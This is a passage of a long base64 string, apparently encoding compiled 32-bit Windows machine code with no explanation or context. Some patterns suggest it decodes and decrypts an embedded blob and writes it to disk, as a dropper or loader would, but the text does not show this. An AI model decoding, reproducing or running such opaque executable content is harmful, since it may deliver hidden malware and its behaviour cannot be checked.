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//+DxASL+I1RAYoBQYTAdfkryo2VcP///1GLz+jVTwAA/7VM////i9aLz+iWUAAAg8QIueAZQABqAGh4gkAA6NL4//+LzseFYP///wAAAADHhWT///8PAAAAxoVQ////AI1RAWaQigFBhMB1+SvKUVaNjVD////omvj//8dF/AAAAAAz9oudUP///zm1TP///3Z0Dx8Ag71k////EI2FUP///4sN8BlAAIs99BlAAA9Dw4oUMIiVbP///zvPcyGNQQGD/xCj8BlAALjgGUAAD0MF4BlAAIgUCMZECAEA6x7/tWz////GhWj///8A/7Vo////UbngGUAA6KgCAABGO7VM////co/HRfz/////i4Vk////g/gQciuNSAGLw4H5ABAAAHIUi1v8g8EjK8ODwPyD+B8Ph1sCAABRU+iHXAAAg8QIix0UQEIAgz0IGkAAAw+GIgIAAKF8gkAAiYVw////ZqGAgkAAZomFdP///6CCgkAAanmIhXb///+NhXf///9qAFDofHsAAIsVDBpAAIPEDIs1+BlAAIP6ELn4GUAAx4Vs////AAAAAA9Dzo15AQ8fRAAAigFBhMB1+WoAagArz7j4GUAAg/oQjZVs////UmoAagEPQ8ZRUP/T/7Vs////6DWWAACLFQwaQACDxASLPfgZQACD+hC5+BlAAIvwD0PPjVkBigFBhMB1+WoAagAry7j4GUAAg/oQjZVs////UlZqAQ9Dx1FQoRRAQgD/0GgIBAAA6OGVAACNjXD///+DxASL+I1RAYoBQYTAdfkryo2VcP///1GLz+iVTQAA/7Vs////i9aLz+hWTgAAg8QIufgZQABqAGh4gkAA6JL2//+LzseFYP///wAAAADHhWT///8PAAAAxoVQ////AI1RAWaQigFBhMB1+SvKUVaNjVD////oWvb//8dF/AEAAAAz9oudUP///zm1bP///3Z0Dx8Ag71k////EI2FUP///4sNCBpAAIs9DBpAAA9Dw4oUMIiVaP///zvPcyGNQQGD/xCjCBpAALj4GUAAD0MF+BlAAIgUCMZECAEA6x7/tWj////GhUz///8A/7VM////Ubn4GUAA6GgAAABGO7Vs////co+LhWT///+D+BByJ41IAYvDgfkAEAAAchCLW/yDwSMrw4PA/IP4H3crUVPoUloAAIPECItN9GSJDQAAAABZ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/2oAD0ON3M7//7gQGkAAgz0kGkAACGoAD0MFEBpAAFZR/zUgGkAAUGoAaOn9AAD/142F3M7//8ZF/AJQusylQACNjcTO///oYuX//4PEBIvIxkX8A4txFIvGi1EQK8KD+AFyF41CAYlBEIvBg/4QcgKLAWbHBBAgAOsdagFoyKVAAMaFuM///wD/tbjP//9qAegI5v//i8jHhQTP//8AAAAAx4UIz///AAAAAA8QAQ8RhfTO///zD35BEGYP1oUEz///x0EQAAAAAMdBFA8AAADGAQDGRfwEuYAZQACDPZQZQAAQi7UIz///i8YPQw2AGUAAiz2QGUAAi5UEz///K8JXUTv4dzGNBBeD/hCJhQTP//+NhfTO//8PQ4X0zv//jTQQVuhFYQAAg8QMxgQ+AI2F9M7//+sZxoW4z///AI2N9M7///+1uM///1foTeX//8eFHM///wAAAADHhSDP//8AAAAADxAADxGFDM////MPfkAQZg/WhRzP///HQBAAAAAAx0AUDwAAAMYAAMZF/AWLlSDP//+LwouNHM///yvBaHUdAABoUIhAAD11HQAAcjaD+hCNtQzP//+NgXUdAAAPQ7UMz///A/GJhRzP//9W6JhgAACDxAzGhnUdAAAAjYUMz///6x3GhbjP//8AjY0Mz////7W4z///aHUdAADomeT//8eFNM///wAAAADHhTjP//8AAAAADxAADxGFJM////MPfkAQZg/WhTTP///HQBAAAAAAx0AUDwAAAMYAAMZF/Aa5yBlAAIM93BlAABCLtTjP//+Lxg9DDcgZQACLPdgZQACLlTTP//8rwldRO/h3MY0EOoP+EImFNM///42FJM///w9DhSTP//+NNBBW6NhfAACDxAzGBD4AjYUkz///6xnGhbjP//8AjY0kz////7W4z///V+jg4///x4VMz///AAAAAMeFUM///wAAAAAPEAAPEYU8z///8w9+QBBmD9aFTM///8dAEAAAAADHQBQPAAAAxgAAxkX8B4uVUM///4vCi41Mz///K8FqY2joh0AAg/hjcjCD+hCNtTzP//+NQWMPQ7U8z///A/GJhUzP//9W6DNfAACDxAzGRmMAjYU8z///6xrGhbjP//8AjY08z////7W4z///amPoOuP//8eFZM///wAAAADHhWjP//8AAAAADxAADxGFVM////MPfkAQZg/WhWTP///HQBAAAAAAx0AUDwAAAMYAAMZF/Ai54BlAAIM99BlAABCLtWjP//+Lxg9DDeAZQACLPfAZQACLlWTP//8rwldRO/h3MY0EOoP+EImFZM///42FVM///w9DhVTP//+NNBBW6HleAACDxAzGBDcAjYVUz///6xnGhbjP//8AjY1Uz////7W4z///V+iB4v//x4V8z///AAAAAMeFgM///wAAAAAPEAAPEYVsz///8w9+QBBmD9aFfM///8dAEAAAAADHQBQPAAAAxgAAxkX8CYuVgM///4vCi418z///K8Fqa2h4h0AAg/hrcjCD+hCNtWzP//+NQWsPQ7Vsz///A/GJhXzP//9W6NRdAACDxAzGRmsAjYVsz///6xrGhbjP//8AjY1sz////7W4z///amvo2+H//8eFlM///wAAAADHhZjP//8AAAAADxAADxGFhM////MPfkAQZg/WhZTP///HQBAAAAAAx0AUDwAAAMYAAMZF/Aq5+BlAAIM9DBpAABCLtZjP//+Lxg9DDfgZQACLPQgaQACLlZTP//8rwldRO/h3MY0EOoP+EImFlM///42FhM///w9DhYTP//+NNBBW6BpdAACDxAzGBDcAjYWEz///6xnGhbjP//8AjY2Ez////7W4z///V+gi4f//x4Wsz///AAAAAMeFsM///wAAAAAPEAAPEYWcz///8w9+QBBmD9aFrM///8dAEAAAAADHQBQPAAAAxgAAxkX8C4uVsM///4vCi42sz///K8FodQQAAGgAg0AAPXUEAAByNoP6EI21nM///42BdQQAAA9DtZzP//8D8YmFrM///1bobVwAAIPEDMaGdQQAAACNhZzP///rHcaFuM///wCNjZzP////tbjP//9odQQAAOhu4P//x4XQz///AAAAAMeF1M///wAAAAAPEAAPEYXAz///8w9+QBBmD9aF0M///8dAEAAAAADHQBQPAAAAxgAAxkX8DYuVsM///4P6EHIvi42cz///QovBgfoAEAAAchSLSfyDwiMrwYPA/IP4Hw+HOgUAAFJR6AlCAACDxAjHhazP//8AAAAAx4Wwz///DwAAAMaFnM///wDGRfwOi5WYz///g/oQci+LjYTP//9Ci8GB+gAQAAByFItJ/IPCIyvBg8D8g/gfD4fhBAAAUlHosEEAAIPECMeFlM///wAAAADHhZjP//8PAAAAxoWEz///AMZF/A+LlYDP//+D+hByL4uNbM///0KLwYH6ABAAAHIUi0n8g8IjK8GDwPyD+B8Ph4gEAABSUehXQQAAg8QIx4V8z///AAAAAMeFgM///w8AAADGhWzP//8AxkX8EIuVaM///4P6EHIvi41Uz///QovBgfoAEAAAchSLSfyDwiMrwYPA/IP4Hw+HLwQAAFJR6P5AAACDxAjHhWTP//8AAAAAx4Voz///DwAAAMaFVM///wDGRfwRi5VQz///g/oQci+LjTzP//9Ci8GB+gAQAAByFItJ/IPCIyvBg8D8g/gfD4fWAwAAUlHopUAAAIPECMeFTM///wAAAADHhVDP//8PAAAAxoU8z///AMZF/BKLlTjP//+D+hByL4uNJM///0KLwYH6ABAAAHIUi0n8g8IjK8GDwPyD+B8Ph30DAABSUehMQAAAg8QIx4U0z///AAAAAMeFOM///w8AAADGhSTP//8AxkX8E4uVIM///4P6EHIvi40Mz///QovBgfoAEAAAchSLSfyDwiMrwYPA/IP4Hw+HJAMAAFJR6PM/AACDxAjHhRzP//8AAAAAx4Ugz///DwAAAMaFDM///wDGRfwUi5UIz///g/oQci+LjfTO//9Ci8GB+gAQAAByFItJ/IPCIyvBg8D8g/gfD4fLAgAAUlHomj8AAIPECMeFBM///wAAAADHhQjP//8PAAAAxoX0zv//AMZF/BWLldjO//+D+hByL4uNxM7//0KLwYH6ABAAAHIUi0n8g8IjK8GDwPyD+B8Ph3ICAABSUehBPwAAg8QIx4XUzv//AAAAAMeF2M7//w8AAADGhcTO//8AxkX8FouV8M7//4P6EHIvi43czv//QovBgfoAEAAAchSLSfyDwiMrwYPA/IP4Hw+HGQIAAFJR6Og+AACDxAiDvdTP//8QjbXAz///i73Qz///jYXAz///D0O1wM///wP3x4Xszv//AAAAAIO91M///xDHhfDO//8PAAAAD0OFwM///yvwxoXczv//AFZQjYXwz///UOhIWAAAaBAaQACNVQiNjazO///oxQgAAGjkgkAAi9DGRfwXjY3Yz///6E/t//+LlcDO//+DxBSD+ghyNYuNrM7//40UVQIAAACLwYH6ABAAAHIUi0n8g8IjK8GDwPyD+B8Ph1cBAABSUeghPgAAg8QIg73sz///CI2F2M///2oAD0OF2M///2iAAAAAagJqAGoAaAAAAMBQ/xUkQEIAi/CF9nQsagBqAGoAVv8VIEBCAGoAjYW8z///UFeNhfDP//9QVv8VPEBCAFb/FSxAQgCLlezP//+D+ghyNYuN2M///40UVQIAAACLwYH6ABAAAHIUi0n8g8IjK8GDwPyD+B8Ph70AAABSUeiCPQAAg8QIi5XUz///M8DHhejP//8AAAAAx4Xsz///BwAAAGaJhdjP//+D+hByK4uNwM///0KLwYH6ABAAAHIQi0n8g8IjK8GDwPyD+B93alJR6C89AACDxAiLVRyD+ghyLotNCI0UVQIAAACLwYH6ABAAAHIQi0n8g8IjK8GDwPyD+B93OVJR6Pk8AACDxAiLTfRkiQ0AAAAAWV9ei03wM83omTwAAIvlXcPo2nYAAOjVdgAA6NB2AADoy3YAAOjGdgAAzMzMzMzMzMzMzMzMzMzMzFWL7Gr/aKwTQgBkoQAAAABQgezEAAAAoYwQQAAzxYlF8FZXUI1F9GSjAAAAALrgGUAAx0X8AAAAAI2NMP///+g8x///i/i6yBlAAMZF/AGNjUj////oJsf//4vwaPClQACNVQjGRfwCjY1g////6P0IAABWi9DGRfwDjY14////6NsHAABo6K